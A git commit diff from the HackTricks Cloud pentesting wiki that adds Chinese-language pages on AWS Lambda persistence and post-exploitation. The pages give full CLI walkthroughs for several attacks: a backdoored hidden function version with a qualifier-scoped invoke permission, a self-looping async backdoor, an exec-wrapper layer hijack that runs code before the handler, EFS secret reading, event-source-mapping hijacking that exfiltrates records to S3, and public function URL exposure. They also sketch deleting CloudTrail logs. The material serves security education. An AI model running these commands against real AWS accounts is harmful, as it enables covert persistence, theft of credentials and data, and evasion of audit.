Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-06 23:05:51 +00:00
parent 9ef9feefb4
commit 624022b618
13 changed files with 912 additions and 97 deletions

View File

@@ -1,64 +1,91 @@
# AWS - Lambda 持久性
# AWS - Lambda Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
有关更多信息,请查看
更多信息请参见
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda 层持久性
### Lambda Layer Persistence
可以**引入/后门一个层以lambda 执行时执行任意代码**,以隐蔽的方式
可以在 Lambda 执行时以隐蔽方式 **引入/backdoor 一个 layer 来执行任意代码**
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda 扩展持久性
### Lambda Extension Persistence
滥用 Lambda 层也可以滥用扩展并在 lambda 持久化,同时窃取修改请求。
滥用 Lambda Layers 还可以滥用 extensions实现 Lambda 内的持久化,窃取修改请求。
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
### 通过资源策略
### Via resource policies
可以授予外部账户对不同 lambda 操作(如调用或更新代码)的访问权限
可以对不同 Lambda 操作(例如 invoke 或 update code的访问权限授予外部账号
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### 版本、别名权重
### 版本、别名权重
一个 Lambda 可以有**不同的版本**(每个版本有不同的代码)。\
然后,可以创建**不同版本的不同别名**并为每个别名设置不同的权重。\
这样攻击者可以创建一个**后门版本 1**和一个**包含合法代码的版本 2**,并**仅在 1% 的请求中执行版本 1**以保持隐蔽。
A Lambda can have **different versions** (with different code each version).\
然后,可以创建 **不同别名对应不同版本** 的 Lambda并为每个别名设置不同的权重。\
这样攻击者可以创建一个 **backdoored version 1** 和一个 **包含合法代码的 version 2**,并仅在 1% 的请求中执行 version 1 以保持隐蔽。
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### 版本后门 + API 网关
### Version Backdoor + API Gateway
1. 复制 Lambda 的原始代码
2. **创建一个新的版本,后门化**原始代码(或仅包含恶意代码)。发布并**将该版本**部署到 $LATEST
1. 调用与 lambda 关的 API 网关以执行代码
3. **创建一个包含原始代码的新版本**,发布并将该**版本**部署到 $LATEST
1.隐藏之前版本中的后门代码
4. 转到 API 网关并**创建一个新的 POST 方法**(或选择任何其他方法),该方法将执行 lambda 的后门版本:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. 注意 arn 最后的 :1 **指示函数的版本**(在此场景中,版本 1 将是后门版本)。
5. 选择创建的 POST 方法,在操作中选择**`部署 API`**
6. 现在,当您**通过 POST 调用函数时,您的后门**将被调用
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. 调用与该 Lambda 关的 API Gateway 来执行代码
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1.会将 backdoored 的代码隐藏之前版本中
4. 转到 API Gateway 并 **create a new POST method**(或选择其他方法),用于执行该 backdoored 的 Lambda 版本:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. 注意 arn 最后的 :1 **indicating the version of the function**(在此情形中 version 1 将是 backdoored 的版本)。
5. 选择创建的 POST 方法,在 Actions 中选择 **`Deploy API`**
6. 现在,当通过 POST 调用函数时,**你的 Backdoor** 将被触发
### Cron/事件触发器
### Cron/Event actuator
可以使**lambda 函数在某些事件发生或经过一段时间运行**,这使得 lambda 成为获得持久性和避免检测的良好且常见的方法。\
在这里,您有一些想法可以通过创建 lambdas 来使您在 AWS 中的**存在更加隐蔽**
可以**lambda functions 在事件发生或经过一段时间运行**,这使得 Lambda 成为获得持久化并规避检测的常见手段。\
下是一些通过创建 lambdas 让你在 AWS 中更隐蔽存在的想法
- 每当创建新用户时lambda 生成一个新的用户密钥并将其发送给 attacker。
- 每当创建新角色时lambda 会为被攻陷的用户授予 assume role 权限。
- 每当产生新的 cloudtrail 日志时,删除/篡改它们
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
利用环境变量 `AWS_LAMBDA_EXEC_WRAPPER` 来在 runtime/handler 启动前执行攻击者控制的 wrapper 脚本。通过 Lambda Layer 将 wrapper 放到 `/opt/bin/htwrap`,设置 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`,然后调用函数。该 wrapper 在函数运行时进程内执行,继承函数执行角色,最终 `exec` 真正的 runtime从而使原始 handler 仍然正常执行。
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
滥用 Lambda 的 asynchronous destinations 与 Recursion 配置,可以让函数持续自我重入而无需外部调度器(无需 EventBridge、cron 等。默认情况下Lambda 会终止递归循环,但将 recursion 配置设置为 Allow 会重新启用它们。Destinations 在服务端为异步调用负责投递,因此一次种子调用即可创建一个隐蔽、无需上传代码的 心跳/backdoor 通道。可选择使用 reserved concurrency 限流以降低噪声。
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
创建一个包含攻击者逻辑的隐藏 Lambda 版本,并使用 `lambda add-permission``--qualifier` 参数将基于资源的策略作用于该特定版本(或别名)。仅向攻击者主体授予对 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION``lambda:InvokeFunction` 权限。通过函数名或主别名的正常调用不会受影响,而攻击者可以直接调用该带后门的版本 ARN。
这比暴露 Function URL 更隐蔽,且不会更改主流量别名。
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
- 每当创建新用户时lambda 生成一个新用户密钥并将其发送给攻击者。
- 每当创建新角色时lambda 授予被攻陷用户假设角色的权限。
- 每当生成新的 cloudtrail 日志时,删除/更改它们
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## 概述
使用带有攻击者逻辑的隐藏 Lambda 版本,并在 `lambda add-permission` 中使用 `--qualifier` 参数,将基于资源的策略限定到该特定版本(或别名)。仅向攻击者主体授予对 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION``lambda:InvokeFunction` 权限。通过函数名或主别名的正常调用不受影响,而攻击者可以直接调用被植入后门的版本 ARN。
这比公开 Function URL 更隐蔽,并且不会更改主流量别名。
## 所需权限(攻击者)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## 攻击步骤CLI
<details>
<summary>发布隐藏版本,添加 qualifier 范围的权限,并以攻击者身份调用</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## 影响
- 授予一个隐蔽的后门,用于调用函数的隐藏版本,而无需修改主别名或暴露 Function URL。
- 通过基于资源的策略 `Qualifier`,将暴露限制为仅指定的版本/别名,降低检测面同时保留对攻击者主体的可靠调用。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,92 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
滥用 Lambda 的 asynchronous destinations 与 Recursion 配置,使函数在没有外部调度器(如 EventBridge、cron 等的情况下不断自我重新调用。默认情况下Lambda 会终止递归循环,但将 recursion 配置设置为 Allow 可重新启用它们。Destinations 在服务端对异步调用进行投递,因此一次种子调用就能创建一个隐蔽、无需代码的心跳/后门通道。可选地使用 reserved concurrency 进行节流以降低噪音。
Notes
- Lambda 不允许直接将函数配置为其自身的 destination。使用 function alias 作为 destination并允许 execution role 调用该 alias。
- Minimum permissions: ability to read/update the target functions event invoke config and recursion config, publish a version and manage an alias, and update the functions execution role policy to allow lambda:InvokeFunction on the alias.
## 要求
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## 步骤
1) 获取函数 ARN 及当前 recursion 设置
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) 发布一个版本并创建/更新一个别名(用作指向自身的目标)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) 允许函数执行角色调用 alias由 Lambda Destinations→Lambda 要求)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) 将异步目标配置为 alias通过 alias 指向自身),并禁用重试
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) 允许递归循环
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) 触发单个异步调用
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) 观察持续调用(示例)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) 可选的隐蔽节流
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Cleanup
中断循环并移除 persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impact
- 一次单独的 async invoke 会导致 Lambda 不依赖外部调度器不断自我重新调用,从而实现隐蔽的持久化/心跳。Reserved concurrency 可以将噪声限制到单个 warm execution。

View File

@@ -0,0 +1,94 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## 摘要
滥用环境变量 `AWS_LAMBDA_EXEC_WRAPPER` 在 runtime/handler 启动之前执行攻击者控制的包装器脚本。通过在 Lambda Layer 中将包装器放置于 `/opt/bin/htwrap`,设置 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`,然后调用函数来投递该包装器。该包装器在函数运行时进程内运行,继承函数执行角色,最后使用 `exec` 启动真实的 runtime从而使原始 handler 仍可正常执行。
> [!WARNING]
> 该技术可在目标 Lambda 中获得代码执行,且无需修改其源代码或角色,也不需要 `iam:PassRole`。你仅需能够更新函数配置并发布/附加一个 Layer。
## 所需权限(攻击者)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction`(或通过现有事件触发)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion`(同一账户),并可选 `lambda:AddLayerVersionPermission`(如果使用跨账户/公共 Layer
## 包装器脚本
将包装器放在 Layer 的 `/opt/bin/htwrap`。它可以运行 pre-handler 的逻辑,并且必须以 `exec "$@"` 结尾以链入真实的 runtime。
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## 攻击步骤 (CLI)
<details>
<summary>发布 layer、附加到目标函数、设置 wrapper、调用</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## 影响
- 在 Lambda runtime 上下文中,使用函数现有的 execution role 在 handler 运行之前执行代码。
- 无需更改函数代码或 role适用于常见的 managed runtimesPython、Node.js、Java、.NET
- 可实现 persistence、credential access例如 STS、data exfiltration 以及在 handler 运行前的 runtime tampering。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,35 +1,85 @@
# AWS - Lambda 后期利用
# AWS - Lambda Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
有关更多信息,请查看
更多信息请参见
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### 提取 Lambda 凭证
### Exfilrtate Lambda Credentials
Lambda 使用环境变量在运行时注入凭证。如果您可以访问它们(通过读取 `/proc/self/environ` 或使用易受攻击的函数本身),可以自己使用它们。它们位于默认变量名 `AWS_SESSION_TOKEN``AWS_SECRET_ACCESS_KEY``AWS_ACCESS_KEY_ID` 中。
Lambda 在运行时通过环境变量注入凭证。如果你能访问这些变量(例如读取 `/proc/self/environ` 或使用存在漏洞的函数本身),可以直接使用这些凭证。它们存放在默认变量名 `AWS_SESSION_TOKEN``AWS_SECRET_ACCESS_KEY``AWS_ACCESS_KEY_ID` 中。
默认情况下,这些有权写入 CloudWatch 日志组(其名称存`AWS_LAMBDA_LOG_GROUP_NAME` 中),以及创建任意日志组然而Lambda 函数常根据其预期用途分配更多权限。
默认情况下,这些凭证通常有权写入一个 cloudwatch log group(其名称存在 `AWS_LAMBDA_LOG_GROUP_NAME` 中),并可创建任意 log group但实际 lambda 函数常根据用途分配更多权限。
### 偷取其他 Lambda URL 请求
### Steal Others Lambda URL Requests
如果攻击者以某种方式在 Lambda 内部获得 RCE将能够窃取其他用户 Lambda 的 HTTP 请求。如果请求包含敏感信息cookies、凭证等他将能够窃取它们
如果攻击者设法在 Lambda 获得 RCE可以窃取其他用户发向该 Lambda 的 HTTP 请求。如果这些请求包含敏感信息cookies、凭证等攻击者就能获取这些信息
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### 偷取其他 Lambda URL 请求和扩展请求
### Steal Others Lambda URL Requests & Extensions Requests
滥用 Lambda Layers 可以滥用扩展并在 Lambda 中持久化,同时窃取和修改请求。
滥用 Lambda Layers 可以利用 extensions 在 Lambda 中实现持久化,同时窃取并篡改请求。
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
### AWS Lambda VPC Egress Bypass
通过将配置更新为空的 VpcConfig (SubnetIds=[], SecurityGroupIds=[]) 可以将 Lambda 函数从受限 VPC 中强制移出。函数随后将在 Lambda 托管的网络平面运行,恢复外网访问,从而绕过由私有 VPC 子网(无 NAT实施的出站流量控制。
{{#ref}}
aws-lambda-vpc-egress-bypass.md
{{#endref}}
### AWS Lambda Runtime Pinning/Rollback Abuse
滥用 `lambda:PutRuntimeManagementConfig` 将函数固定到特定 runtime 版本 (Manual) 或冻结更新 (FunctionUpdate)。这可保持对恶意 layers/wrappers 的兼容性,并使函数停留在过时且易受攻击的 runtime 上,从而帮助利用和长期持久化。
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
{{#endref}}
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制,可将函数的日志重定向到攻击者指定的 CloudWatch Logs log group。此操作无需修改代码或执行角色大多数 Lambda 角色通过 `AWSLambdaBasicExecutionRole` 已包含 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`)。如果函数打印了 secrets/请求体或崩溃并输出堆栈跟踪,可从新的 log group 收集这些信息。
{{#ref}}
aws-lambda-loggingconfig-redirection.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
将私有 Lambda Function URL 变为公共的无身份验证端点:将 Function URL AuthType 切换为 NONE并附加一个授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略。这样可以匿名调用内部函数,可能暴露敏感的后端操作。
{{#ref}}
aws-lambda-function-url-public-exposure.md
{{#endref}}
### AWS Lambda Event Source Mapping Target Hijack
滥用 `UpdateEventSourceMapping` 更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数,使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被投递到攻击者控制的函数。这样可以在不接触生产者或原函数代码的情况下,悄然转移实时数据。
{{#ref}}
aws-lambda-event-source-mapping-target-hijack.md
{{#endref}}
### AWS Lambda EFS Mount Injection data exfiltration
滥用 `lambda:UpdateFunctionConfiguration` 将现有的 EFS Access Point 挂载到 Lambda然后部署简单代码列出/读取挂载路径的文件,从而 exfiltrate 函数之前无法访问的共享 secrets/配置。
{{#ref}}
aws-lambda-efs-mount-injection.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,74 @@
# AWS Lambda EFS Mount Injection via UpdateFunctionConfiguration (数据窃取)
滥用 `lambda:UpdateFunctionConfiguration` 将现有 EFS Access Point 附加到 Lambda然后部署简单代码列出/读取挂载路径中的文件,以 exfiltrate 函数之前无法访问的共享 secrets/config。
## 要求
- 受害者账户/主体的权限:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (用于查找 functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (用于确认 mount targets 存在)
- 环境假设:
- 目标 Lambda 已启用 VPC且其子网/SGs 可通过 TCP/2049 访问 EFS 挂载目标的 SG例如角色具有 AWSLambdaVPCAccessExecutionRole 且 VPC 路由允许)。
- EFS Access Point 位于相同 VPC并在 Lambda 子网所在的 AZs 中有挂载目标。
## 攻击
- 变量
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
```
1) 将 EFS Access Point 附加到 Lambda
```
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) 用一个简单的读取器覆盖代码,该读取器列出文件并查看候选 secret/config file 的前 200 bytes
```
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) 调用并获取数据
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
输出应包含 /mnt/ht 下的目录列表,以及从 EFS 中选择的一个 secret/config file 的小预览。
## 影响
拥有所列权限的攻击者可以将任意 in-VPC EFS Access Points 挂载到受害者的 Lambda 函数中,以读取并外传存储在 EFS 上的共享配置和 secrets这些内容此前对该函数不可访问。
## 清理
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```

View File

@@ -0,0 +1,75 @@
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
{{#include ../../../../banners/hacktricks-training.md}}
滥用 `UpdateEventSourceMapping` 来更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数,使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被发送到攻击者控制的函数。这会在不修改生产者或原始函数代码的情况下,悄悄地转移实时数据。
## Impact
- 在不修改生产者应用或受害者代码的情况下,拦截并读取现有流/队列中的实时记录。
- 通过在恶意函数中处理受害者的流量,可能导致 data exfiltration 或篡改逻辑。
## Required permissions
- `lambda:ListEventSourceMappings`
- `lambda:GetEventSourceMapping`
- `lambda:UpdateEventSourceMapping`
- Ability to deploy or reference an attacker-controlled Lambda (`lambda:CreateFunction` or permission to use an existing one).
## Steps
1) 枚举受害函数的 Event Source Mappings
```
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
```
2) 准备一个由攻击者控制的接收器 Lambdasame regionideally similar VPC/runtime
```
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
```
3) 将映射重新指向攻击者函数
```
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
```
4) 在源上生成一个事件以触发映射 (例如: SQS)
```
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
```
5) 验证攻击者函数是否接收到该批次
```
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
```
6) 可选的隐匿
```
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
```
注意:
- 对于 SQS ESM处理该队列的 Lambda 的执行角色需要 `sqs:ReceiveMessage``sqs:DeleteMessage``sqs:GetQueueAttributes`(托管策略:`AWSLambdaSQSQueueExecutionRole`)。
- ESM 的 UUID 保持不变;只有其 `FunctionArn` 被更改,因此生产者和源 ARN 不受影响。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,46 @@
# AWS - Lambda Function URL 公共暴露 (AuthType NONE + Public Invoke Policy)
通过将私有 Lambda Function URL 的 Function URL AuthType 切换为 NONE并附加一个授予所有人 lambda:InvokeFunctionUrl 的基于资源的策略,可以将其变为公共的无需身份验证的端点。这将允许匿名调用内部函数并可能暴露敏感的后端操作。
## 滥用
- 先决条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Region: us-east-1
### 步骤
1) 确保函数具有 Function URL默认是 AWS_IAM:
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) 将 URL 切换为公共AuthType NONE:
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) 添加基于资源的策略语句以允许未经身份验证的主体:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) 获取 URL 并在不使用凭证的情况下调用:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### 影响
- 该 Lambda 函数将变为可通过互联网匿名访问。
### 示例输出(未认证 200
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
```
### 清理
```
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```

View File

@@ -0,0 +1,51 @@
# AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
{{#include ../../../../banners/hacktricks-training.md}}
